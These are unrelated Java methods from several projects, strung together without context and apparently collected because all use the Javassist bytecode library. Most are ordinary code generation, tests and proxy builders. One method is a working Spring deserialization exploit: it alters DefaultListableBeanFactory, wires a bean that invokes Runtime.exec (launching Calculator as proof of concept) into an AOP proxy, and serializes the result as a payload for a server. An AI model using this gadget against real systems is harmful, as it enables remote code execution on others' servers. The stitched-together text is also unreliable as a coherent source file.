private static TemplateRenderer tryToCompile(String source, Map<String, String> expressions) throws NotFoundException, CannotCompileException, InstantiationException, IllegalAccessException { ClassPool cp = ClassPool.getDefault(); CtClass sup = cp.get(Object.class.getCanonicalName()); CtClass cls = cp.makeClass("RapidoidTemplate" + ID_GEN.incrementAndGet(), sup); cls.addInterface(cp.get(TemplateRenderer.class.getCanonicalName())); cls.addConstructor(CtNewConstructor.defaultConstructor(cls)); for (Map.Entry<String, String> expr : expressions.entrySet()) { String fld = "private static final org.rapidoid.render.retriever.ValueRetriever %s = org.rapidoid.render.retriever.Retriever.of(%s);"; String retrieverId = retrieverId(expr.getKey()); String prop = expr.getValue(); String field = U.frmt(fld, retrieverId, prop); cls.addField(CtField.make(field, cls)); } CtClass[] params = {cp.get(RenderCtx.class.getCanonicalName())}; CtClass clsVoid = cp.get(void.class.getCanonicalName()); cls.addMethod( CtNewMethod.make(Modifier.PUBLIC, clsVoid, "render", params, new CtClass[0], source, cls)); return (TemplateRenderer) cls.toClass().newInstance(); }
public void testBadClass() throws Exception { CtClass badClass = ClassPool.getDefault().makeClass("badClass"); String src = String.join( System.getProperty("line.separator"), "public void eval () {", " if (true) {", " double t=0;", " } else {", " double t=0;", " }", " for (int i=0; i < 2; i++) {", " int a=0;", " int b=0;", " int c=0;", " int d=0;", " if (true) {", " int e = 0;", " }", " }", "}"); System.out.println(src); badClass.addMethod(CtMethod.make(src, badClass)); Class clazzz = badClass.toClass(); Object obj = clazzz.getConstructor().newInstance(); // <-- falls here }
public void generateJavaClass() { // create a cache ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("com.linuxclicks.bytecode.generation.TerryJavaAssist"); CtMethod ctMethod = null; try { ctMethod = CtMethod.make( "public void sayHello() { System.out.println(\"Hello World..from the JavaAssist bytecode generator\"); }", ctClass); ctClass.addMethod(ctMethod); System.out.println("writing generated JavaAssist file to filesystem"); ctClass.writeFile("./build/java/src/"); Class javaClass = ctClass.toClass(); Object terry = javaClass.newInstance(); Class partypes[] = new Class[0]; Method terrySayHelloMethod = terry.getClass().getMethod("sayHello", partypes); Object arglist[] = new Object[0]; terrySayHelloMethod.invoke(terry, arglist); } catch (CannotCompileException cce) { System.out.println("cce ..." + cce); } catch (IOException ioe) { System.out.println("ioe ..." + ioe); } catch (IllegalAccessException iae) { System.out.println("iae ..." + iae); } catch (InstantiationException ie) { System.out.println("ie ..." + ie); } catch (NoSuchMethodException nsme) { System.out.println("nsme ..." + nsme); } catch (InvocationTargetException ite) { System.out.println("ite ..." + ite); } }
public void testToClass() throws Exception { ClassPool cp = ClassPool.getDefault(); CtClass cc = cp.makeClass("test2.ToClassTest"); Class c = cc.toClass(); assertEquals(getClass().getClassLoader(), c.getClassLoader()); }
public static void main(String[] arguments) { // Get a DefaultListableBeanFactory modified so it has no writeReplace() method // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a // "attempted duplicate class definition for name" exception System.out.println( "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method"); Object instrumentedFactory = null; ClassPool pool = ClassPool.getDefault(); try { pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader())); CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory"); // Call setSerialVersionUID before modifying a class to maintain serialization compatability. SerialVersionUID.setSerialVersionUID(instrumentedClass); CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace"); // method.insertBefore("{ System.out.println(\"TESTING\"); }"); method.setName("writeReplaceDisabled"); Class instrumentedFactoryClass = instrumentedClass.toClass(); instrumentedFactory = instrumentedFactoryClass.newInstance(); } catch (Exception e) { e.printStackTrace(); } // Modified BeanFactory DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory; // Create malicious bean definition programatically System.out.println("[+] Creating malicious bean definition programatically"); // First we will set up a bean created with a factory method (instead of using the constructor) // that will return a java.lang.Runtime // Runtime or ProcessBuilder are not serializable so we cannot use them for the // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps // these objects as the server will instantiate them GenericBeanDefinition runtime = new GenericBeanDefinition(); runtime.setBeanClass(Runtime.class); runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static // Exploit bean to be registered in the bean factory as the target source GenericBeanDefinition payload = new GenericBeanDefinition(); // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments, // and can't do that with the unserializable ConstructorArgumentValues payload.setBeanClass(MethodInvokingFactoryBean.class); payload.setScope("prototype"); payload.getPropertyValues().add("targetObject", runtime); payload.getPropertyValues().add("targetMethod", "exec"); payload .getPropertyValues() .add( "arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator")); beanFactory.registerBeanDefinition("exploit", payload); // Preparing BeanFactory to be serialized System.out.println("[+] Preparing BeanFactory to be serialized"); System.out.println("[+] Nullifying non-serializable members"); try { Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues.setAccessible(true); constructorArgumentValues.set(payload, null); System.out.println( "[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues()); Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides.setAccessible(true); methodOverrides.set(payload, null); System.out.println( "[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides()); Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues2.setAccessible(true); constructorArgumentValues2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues()); Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides2.setAccessible(true); methodOverrides2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides()); Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver"); autowireCandidateResolver.setAccessible(true); autowireCandidateResolver.set(beanFactory, null); System.out.println( "[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver()); } catch (Exception i) { i.printStackTrace(); System.exit(-1); } // AbstractBeanFactoryBasedTargetSource System.out.println( "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory"); SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource(); targetSource.setTargetBeanName("exploit"); targetSource.setBeanFactory(beanFactory); // JdkDynamicAopProxy (invocationhandler) System.out.println( "[+] Creating the handler and configuring the target source pointing to our malicious bean factory"); AdvisedSupport config = new AdvisedSupport(); config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy config.setTargetSource(targetSource); DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory(); InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config); // Proxy System.out.println( "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler"); Contact proxy = (Contact) Proxy.newProxyInstance( Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler); // System.out.println("[+] Trying exploit locally " + proxy.getName()); // Now lets serialize the proxy System.out.println("[+] Serializating malicious proxy"); try { FileOutputStream fileOut = new FileOutputStream("proxy.ser"); ObjectOutputStream outStream = new ObjectOutputStream(fileOut); outStream.writeObject(proxy); outStream.close(); fileOut.close(); } catch (IOException i) { i.printStackTrace(); } System.out.println("[+] Successfully serialized: " + proxy.getClass().getName()); }
private static CtClass makeExpressionClass( Source.Staged staged, String superClassName, String memberClassName) { // Here we make the language class accessible! if (!Modifier.isPublic(staged.getLanguage().getModifiers())) { staged.getLanguage().setModifiers(Modifier.setPublic(staged.getLanguage().getModifiers())); } CtClass clazz; try { ClassPool cp = ClassPool.getDefault(); CtClass superClass = cp.getCtClass(superClassName); clazz = cp.makeClass( superClass.getName() + "$Generated" + id + "$" + staged.getMember().getDeclaringClass().getName().replace(".", "_") + "$" + staged.getMember().getName().replace(".", "_"), superClass); id++; // Make accepted language static fields HashMap<CtClass, String> acceptedLanguageMap = new HashMap<>(); for (Use.Argument a : staged.getArguments()) { for (CtClass l : a.getAcceptedLanguages()) { if (!acceptedLanguageMap.containsKey(l) && !l.equals(Util.LANGUAGE_CLASS)) { String lName = "acceptedLanguage" + acceptedLanguageMap.size(); int lPersistentId = Dispatcher.addPersistent(l); CtField lField = CtField.make( "private static final " + CtClass.class.getName() + " " + lName + " = (" + CtClass.class.getName() + ") " + Util.DISPATCHER_CLASS.getName() + ".removePersistent(" + lPersistentId + ");", clazz); clazz.addField(lField); acceptedLanguageMap.put(l, lName); } } } // Make language field String languageName = "language"; int languagePersistentId = Dispatcher.addPersistent(staged.getLanguage()); CtField languageField = CtField.make( "private static final " + CtClass.class.getName() + " " + languageName + " = (" + CtClass.class.getName() + ") " + Util.DISPATCHER_CLASS.getName() + ".removePersistent(" + languagePersistentId + ");", clazz); clazz.addField(languageField); // Make member field String memberName = "member"; int memberPersistentId = Dispatcher.addPersistent(staged.getMember()); CtField memberField = CtField.make( "private static final " + memberClassName + " " + memberName + " = (" + memberClassName + ")" + Util.DISPATCHER_CLASS.getName() + ".removePersistent(" + memberPersistentId + ");", clazz); clazz.addField(memberField); // Make constructor String constructorSource = "private constructor(" + Util.EXPRESSION_CLASS.getName() + "[] arguments, " + Util.STATIC_INFO_CLASS.getName() + " staticInfo, " + Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n" + " super(arguments, staticInfo, closureHolder);\n" + "}"; CtConstructor constructor = CtNewConstructor.make(constructorSource, clazz); clazz.addConstructor(constructor); // Make factory-like invoke methods ImmutableList<Use.Argument> args = staged.getArguments(); StringBuilder invokeSource = new StringBuilder(); if (staged.isStrict() || Util.isCarrier(staged.getType())) { invokeSource.append( "public static " + staged.getType().getCtClass().getName() + " invoke("); } else if (staged.getType().isReference()) { invokeSource.append("public static " + Util.LOCAL_CARRIER_CLASS.getName() + " invoke("); } else { invokeSource.append("public static " + clazz.getName() + " invoke("); } if (staged.getArguments().size() > 253) { invokeSource.append("Object[] objectArguments, "); if (!staged.getStaticInfoElements().isEmpty()) { invokeSource.append(Util.STATIC_INFO_CLASS.getName() + " staticInfo, "); } invokeSource.append(Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n"); for (int i = 0; i < args.size(); i++) { if (Util.isGlobalCarrier(args.get(i).getType())) { invokeSource .append(" ") .append(Util.GLOBAL_CARRIER_CLASS.getName()) .append(" argument") .append(i) .append(" = (") .append(Util.GLOBAL_CARRIER_CLASS.getName()) .append(") objectArguments[") .append(i) .append("];\n"); } else if (Util.isLocalCarrier(args.get(i).getType()) || (args.get(i).getType().isReference() && !Util.couldBeGlobalCarrier(args.get(i).getType()))) { invokeSource .append(" ") .append(Util.LOCAL_CARRIER_CLASS.getName()) .append(" argument") .append(i) .append(" = (") .append(Util.LOCAL_CARRIER_CLASS.getName()) .append(") objectArguments[") .append(i) .append("];\n"); } else if (args.get(i).getType().isReference()) { invokeSource .append(" ") .append(Type.OBJECT.getCtClass().getName()) .append(" argument") .append(i) .append(" = objectArguments[") .append(i) .append("];\n"); } else { invokeSource .append(" ") .append(Util.EXPRESSION_CLASS.getName()) .append(" argument") .append(i) .append(" = (") .append(Util.EXPRESSION_CLASS.getName()) .append(") objectArguments[") .append(i) .append("];\n"); } } } else { for (int i = 0; i < args.size(); i++) { if (Util.isGlobalCarrier(args.get(i).getType())) { invokeSource.append(Util.GLOBAL_CARRIER_CLASS.getName()).append(" argument").append(i); } else if (Util.isLocalCarrier(args.get(i).getType()) || (args.get(i).getType().isReference() && !Util.couldBeGlobalCarrier(args.get(i).getType()))) { invokeSource.append(Util.LOCAL_CARRIER_CLASS.getName()).append(" argument").append(i); } else if (args.get(i).getType().isReference()) { invokeSource.append(Type.OBJECT.getCtClass().getName()).append(" argument").append(i); } else { invokeSource.append(Util.EXPRESSION_CLASS.getName()).append(" argument").append(i); } invokeSource.append(", "); } if (!staged.getStaticInfoElements().isEmpty()) { invokeSource.append(Util.STATIC_INFO_CLASS.getName() + " staticInfo, "); } invokeSource.append(Util.CLOSURE_HOLDER_CLASS.getName() + " closureHolder) {\n"); } invokeSource.append( " " + Util.EXPRESSION_CLASS.getName() + " payload;\n" + " " + Util.EXPRESSION_CLASS.getName() + "[] arguments = new " + Util.EXPRESSION_CLASS.getName() + "[" + args.size() + "];\n"); for (int i = 0; i < args.size(); i++) { if (Util.isGlobalCarrier(args.get(i).getType())) { invokeSource.append( " payload = " + Util.DISPATCHER_CLASS.getName() + ".unloadGlobalCarrierChecked(argument" + i + ");\n" + " if (!(" + generateLanguageAcceptCheck( "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ")) {\n" + " arguments[" + i + "] = " + Util.DISPATCHER_CLASS.getName() + ".selfLiftGlobalCarrier(argument" + i + ");\n" + " } else {\n" + " arguments[" + i + "] = payload;\n" + " }\n"); } else if (Util.isLocalCarrier(args.get(i).getType()) || (args.get(i).getType().isReference() && !Util.couldBeGlobalCarrier(args.get(i).getType()))) { invokeSource.append( " payload = " + Util.DISPATCHER_CLASS.getName() + ".unloadLocalCarrierChecked(argument" + i + ");\n" + " if (" + generateLanguageAcceptCheck( "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ") {\n" + " arguments[" + i + "] = payload.getRaw();\n" + " } else {\n" + " payload.evaluate();\n" // This handles the weird case when the materialized argument could be globally // carried and might need unloading and checking // We know that it is an ObjectValue instance + " " + Util.EXPRESSION_CLASS.getName() + " value = payload.asValueIfEvaluated();\n" + " Object obj = value.materializeAsObject(); \n" + " if (obj instanceof " + Util.GLOBAL_CARRIER_CLASS.getName() + ") {\n" + " payload = " + Util.DISPATCHER_CLASS.getName() + ".unloadGlobalCarrier((" + Util.GLOBAL_CARRIER_CLASS.getName() + ") obj);\n" + " if (payload == null || !(" + generateLanguageAcceptCheck( "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ")) {\n" + " arguments[" + i + "] = value;\n" + " } else {\n" + " arguments[" + i + "] = payload;\n" + " }\n" + " } else {\n" + " arguments[" + i + "] = value;\n" + " }\n" + " }\n"); } else if (args.get(i).getType().isReference()) { invokeSource.append( " if (argument" + i + " instanceof " + Util.LOCAL_CARRIER_CLASS.getName() + ") {\n" + " payload = " + Util.DISPATCHER_CLASS.getName() + ".unloadLocalCarrierChecked((" + Util.LOCAL_CARRIER_CLASS.getName() + ") argument" + i + ");\n" + " if (" + generateLanguageAcceptCheck( "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ") {\n" + " arguments[" + i + "] = payload.getRaw();\n" + " } else {\n" + " payload.evaluate();\n" // This handles the weird case when the materialized argument could be globally // carried and might need unloading and checking // We know that it is an ObjectValue instance + " " + Util.EXPRESSION_CLASS.getName() + " value = payload.asValueIfEvaluated();\n" + " Object obj = value.materializeAsObject(); \n" + " if (obj instanceof " + Util.GLOBAL_CARRIER_CLASS.getName() + ") {\n" + " payload = " + Util.DISPATCHER_CLASS.getName() + ".unloadGlobalCarrier((" + Util.GLOBAL_CARRIER_CLASS.getName() + ") obj);\n" + " if (payload == null || !(" + generateLanguageAcceptCheck( "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ")) {\n" + " arguments[" + i + "] = value;\n" + " } else {\n" + " arguments[" + i + "] = payload;\n" + " }\n" + " } else {\n" + " arguments[" + i + "] = value;\n" + " }\n" + " }\n" + " } else if (argument" + i + " instanceof " + Util.GLOBAL_CARRIER_CLASS.getName() + ") {\n" + " payload = " + Util.DISPATCHER_CLASS.getName() + ".unloadGlobalCarrierChecked((" + Util.GLOBAL_CARRIER_CLASS.getName() + ") argument" + i + ");\n" + " if (!(" + generateLanguageAcceptCheck( "payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ")) {\n" + " arguments[" + i + "] = " + Util.DISPATCHER_CLASS.getName() + ".selfLiftGlobalCarrier((" + Util.GLOBAL_CARRIER_CLASS.getName() + ") argument" + i + ");\n" + " } else {\n" + " arguments[" + i + "] = payload;\n" + " }\n" + " } else {\n" + " arguments[" + i + "] = " + Util.DISPATCHER_CLASS.getName() + "." + Util.getLiftMethodName(Type.OBJECT) + "(argument" + i + ");\n" + " }\n"); } else { invokeSource.append( " if (" + generateLanguageAcceptCheck( "argument" + i, args.get(i).getAcceptedLanguages(), acceptedLanguageMap) + ") {\n" + " arguments[" + i + "] = argument" + i + generateConversionSuffix(args.get(i).getType()) + ".getRaw();\n" + " } else {\n" + " argument" + i + ".evaluate();\n" + " arguments[" + i + "] = argument" + i + ".asValueIfEvaluated();\n" + " }\n"); } } String construction; if (!staged.getStaticInfoElements().isEmpty()) { construction = "new " + clazz.getName() + "(arguments, staticInfo, closureHolder)"; } else { construction = "new " + clazz.getName() + "(arguments, null, closureHolder)"; } if (staged.isStrict()) { Type type = staged.getType(); if (type.isReference()) { invokeSource.append( " return (" + type.getCtClass().getName() + ") (" + construction + ").materializeAsObject();\n"); } else if (type.equals(Type.BOOLEAN)) { invokeSource.append(" return (" + construction + ").materializeAsBoolean();\n"); } else if (type.equals(Type.INT)) { invokeSource.append(" return (" + construction + ").materializeAsInteger();\n"); } else if (type.equals(Type.LONG)) { invokeSource.append(" return (" + construction + ").materializeAsLong();\n"); } else if (type.equals(Type.FLOAT)) { invokeSource.append(" return (" + construction + ").materializeAsFloat();\n"); } else if (type.equals(Type.DOUBLE)) { invokeSource.append(" return (" + construction + ").materializeAsDouble();\n"); } else if (type.equals(Type.BYTE)) { invokeSource.append(" return (" + construction + ").materializeAsByte();\n"); } else if (type.equals(Type.CHAR)) { invokeSource.append(" return (" + construction + ").materializeAsCharacter();\n"); } else if (type.equals(Type.SHORT)) { invokeSource.append(" return (" + construction + ").materializeAsShort();\n"); } else if (type.equals(Type.VOID)) { invokeSource.append(" return (" + construction + ").evaluate();\n"); } } else { if (Util.isGlobalCarrier(staged.getType())) { if (staged.getType().getCtClass().equals(Util.GLOBAL_CARRIER_CLASS)) { invokeSource.append( " return new " + Util.GLOBAL_CARRIER_CLASS.getName() + "(" + construction + ");\n"); } else { CarrierTransformer.transformCarrierChecked(staged.getType().getCtClass()); invokeSource.append( " return new " + staged.getType().getCtClass().getName() + "((" + Util.DISAMBIGUATION_PARAMETER_CLASS.getName() + ") null, " + construction + ");\n"); } } else if (Util.isLocalCarrier(staged.getType())) { if (staged.getType().getCtClass().equals(Util.LOCAL_CARRIER_CLASS)) { invokeSource.append( " return new " + Util.LOCAL_CARRIER_CLASS.getName() + "(" + construction + ");\n"); } else { CarrierTransformer.transformCarrierChecked(staged.getType().getCtClass()); invokeSource.append( " return new " + staged.getType().getCtClass().getName() + "((" + Util.DISAMBIGUATION_PARAMETER_CLASS.getName() + ") null, " + construction + ");\n"); } } else if (staged.getType().isReference()) { invokeSource.append( " return new " + Util.LOCAL_CARRIER_CLASS.getName() + "(" + construction + ");\n"); } else { invokeSource.append(" return " + construction + ";\n"); } } invokeSource.append("}"); CtMethod invoke = CtMethod.make(invokeSource.toString(), clazz); clazz.addMethod(invoke); // Make isomorphic hash code method String isomorphicHashCodeSource = "int isomorphicHashCode() {\n" + " if (!$0.isomorphicHashCodeHasBeenCalculated) {\n" + " super.isomorphicHashCode(" + staged.getMember().hashCode() + ");\n" + " }" + " return $0.isomorphicHashCode;" + "}"; CtMethod isomorphicHashCode = CtMethod.make(isomorphicHashCodeSource, clazz); clazz.addMethod(isomorphicHashCode); // Make isomorphism check method String isIsomorphicToSource = "boolean isIsomorphicTo(java.util.IdentityHashMap identityMap, " + Util.EXPRESSION_CLASS.getName() + " expression) {\n" + " if (!(expression instanceof " + clazz.getName() + ")) { return false; }\n" + " return super.isIsomorphicTo(identityMap, expression);\n" + "}"; CtMethod isIsomorphicTo = CtMethod.make(isIsomorphicToSource, clazz); clazz.addMethod(isIsomorphicTo); // Make cache clone (with empty leaves to save memory) creation method String cacheCloneSource = Util.EXPRESSION_CLASS.getName() + " cacheClone(java.util.IdentityHashMap identityMap) {\n" + " " + Util.EXPRESSION_CLASS.getName() + " e = (" + Util.EXPRESSION_CLASS.getName() + ") identityMap.get(this);\n" + " if (e != null) {\n" + " return e;\n" + " } else {\n" + " " + Util.EXPRESSION_CLASS.getName() + "[] clonedArguments = super.cacheCloneArguments(identityMap);\n" + " if (clonedArguments != null) {\n" + " " + clazz.getName() + " s = new " + clazz.getName() + "(clonedArguments, $0.staticInfo, null);\n" + " s.isomorphicHashCode = $0.isomorphicHashCode();\n" + " s.isomorphicHashCodeHasBeenCalculated = true;\n" + " identityMap.put(this, s);\n" + " return s;\n" + " } else {\n" + " identityMap.put(this, this);\n" + " return this;\n" + " }\n" + " }\n" + "}"; CtMethod cacheClone = CtMethod.make(cacheCloneSource, clazz); clazz.addMethod(cacheClone); // Make language acceptance check method String isAcceptedBySource = "boolean isAcceptedBy(" + CtClass.class.getName() + " language) { return $0.language.equals(language); }"; CtMethod isAcceptedBy = CtMethod.make(isAcceptedBySource, clazz); clazz.addMethod(isAcceptedBy); // Make polymorphic member retrieval method String getMemberSource = "public " + memberClassName + " getMember() { return $0." + memberName + "; }"; CtMethod getMember = CtMethod.make(getMemberSource, clazz); clazz.addMethod(getMember); // Make evaluation method Class<?> closureInterface = getClosureInterface(staged.getType()); String evaluateSource; if (Util.isGlobalCarrier(staged.getType()) && !staged.isStrict()) { evaluateSource = "public void evaluate() { throw new UnsupportedOperationException(); }"; } else { evaluateSource = "public void evaluate() {\n" + " if ($0.value != null) { return; }\n" + " " + closureInterface.getName() + " closure;\n" + " " + Util.ENVIRONMENT_CLASS.getName() + " environment;\n" + " if ($0.closureHolder == null) {\n" + " " + Util.CLOSURE_HOLDER_CLASS.getName() + " cachedClosureHolder = " + GlobalCache.class.getName() + ".getCachedClosureHolder($0);\n" + " if (cachedClosureHolder == null) {\n" + " " + Util.BINDER_CLASS.getName() + " binder = new " + Util.BINDER_CLASS.getName() + "($0);\n" + " closure = " + staged.getLanguage().getName() + ".make" + closureInterface.getSimpleName() + "($0, binder, false);\n" + " environment = new " + Util.ENVIRONMENT_CLASS.getName() + "($0, binder.getBoundCount());\n" + " if (!binder.inspectionOccurred()) {\n" + " " + GlobalCache.class.getName() + ".cache($0, closure, binder.getBoundCount());\n" + " }\n" + " } else {\n" + " closure = (" + closureInterface.getName() + ") cachedClosureHolder.getClosure();\n" + " environment = new " + Util.ENVIRONMENT_CLASS.getName() + "($0, cachedClosureHolder.getEnvironmentSize());\n" + " }\n" + " } else {\n" + " closure = (" + closureInterface.getName() + ") $0.closureHolder.getClosure();\n" + " if (closure == null) {\n" + " " + Util.CLOSURE_HOLDER_CLASS.getName() + " cachedClosureHolder = " + GlobalCache.class.getName() + ".getCachedClosureHolder($0);\n" + " if (cachedClosureHolder == null) {\n" + " " + Util.BINDER_CLASS.getName() + " binder = new " + Util.BINDER_CLASS.getName() + "($0);\n" + " closure = " + staged.getLanguage().getName() + ".make" + closureInterface.getSimpleName() + "($0, binder, $0.closureHolder.isPermanent());\n" + " environment = new " + Util.ENVIRONMENT_CLASS.getName() + "($0, binder.getBoundCount());\n" + " if (!binder.inspectionOccurred()) {\n" + " $0.closureHolder.set(closure, binder.getBoundCount());\n" + " " + GlobalCache.class.getName() + ".cache($0, closure, binder.getBoundCount());\n" + " }\n" + " } else {\n" + " closure = (" + closureInterface.getName() + ") cachedClosureHolder.getClosure();\n" + " environment = new " + Util.ENVIRONMENT_CLASS.getName() + "($0, cachedClosureHolder.getEnvironmentSize());\n" + " $0.closureHolder.set(closure, cachedClosureHolder.getEnvironmentSize());\n" + " }\n" + " } else {\n" + " environment = new " + Util.ENVIRONMENT_CLASS.getName() + "($0, $0.closureHolder.getEnvironmentSize());\n" + " }\n" + " }\n" + (staged.getType().equals(Type.VOID) ? " closure.evaluate(environment);\n" : " $0.value = " + Util.DISPATCHER_CLASS.getName() + "." + Util.getLiftMethodName(staged.getType()) + "(closure.evaluate(environment));\n") + "}"; } CtMethod evaluate = CtMethod.make(evaluateSource, clazz); clazz.addMethod(evaluate); clazz.toClass(); } catch (CannotCompileException | NotFoundException e) { throw new RuntimeException(e); } return clazz; }
// 用javassit得到动态代理 public T createJavassistBytecodeDynamicProxy( LoadBalancer loadBalance, ConcurrentMap<String, T> map, Class ifaces) { try { ClassPool mPool = new ClassPool(true); CtClass mCtc = mPool.makeClass(ifaces.getName() + "JavaassistProxy"); mCtc.addInterface(mPool.get(ifaces.getName())); mCtc.addConstructor(CtNewConstructor.defaultConstructor(mCtc)); mCtc.addField(CtField.make("public " + loadBalance.getClass().getName() + " sub;", mCtc)); mCtc.addField(CtField.make("public " + map.getClass().getName() + " map;", mCtc)); // mCtc.addField(CtField.make("public " + ArrayList.class.getName() + " list;", // mCtc)); mCtc.addMethod( CtNewMethod.make( "public Object getRealClient() { return (Object)sub.select(new " + ArrayList.class.getName() + "(map.values())); }", mCtc)); // 获取接口的方法 for (Method method : ifaces.getMethods()) { Class returnType = method.getReturnType(); String modifiers = "public"; if (Modifier.PUBLIC == method.getModifiers()) { modifiers = "public"; } else if (Modifier.PROTECTED == method.getModifiers()) { modifiers = "protected"; } else if (Modifier.PRIVATE == method.getModifiers()) { modifiers = "private"; } Class<?>[] parameter = method.getParameterTypes(); String params = ""; String ps = ""; for (Class param : parameter) { params += param.getName() + " " + param.getName() + ","; ps += param.getName() + ","; } if (params.equals("")) { params = ""; ps = ""; } else { params = params.substring(0, params.length()); ps = ps.substring(0, ps.length()); } mCtc.addMethod( CtNewMethod.make( modifiers + " void " + method.getName() + "(String a,String b){ Object t=this.getRealClient(); return ((" + ifaces.getName() + ")t)." + method.getName() + "(a,b) ;}", mCtc)); // mCtc.addMethod(CtNewMethod.make("public int count() { return // delegate.count(); }", mCtc)); } Class<?> pc = mCtc.toClass(); mCtc.debugWriteFile("/home/liguojun"); mCtc.writeFile("/home/liguojun"); T bytecodeProxy = (T) pc.newInstance(); Field filed = bytecodeProxy.getClass().getField("sub"); filed.set(bytecodeProxy, loadBalance); Field filed1 = bytecodeProxy.getClass().getField("map"); filed1.set(bytecodeProxy, map); return bytecodeProxy; } catch (Exception e) { e.printStackTrace(); } return null; }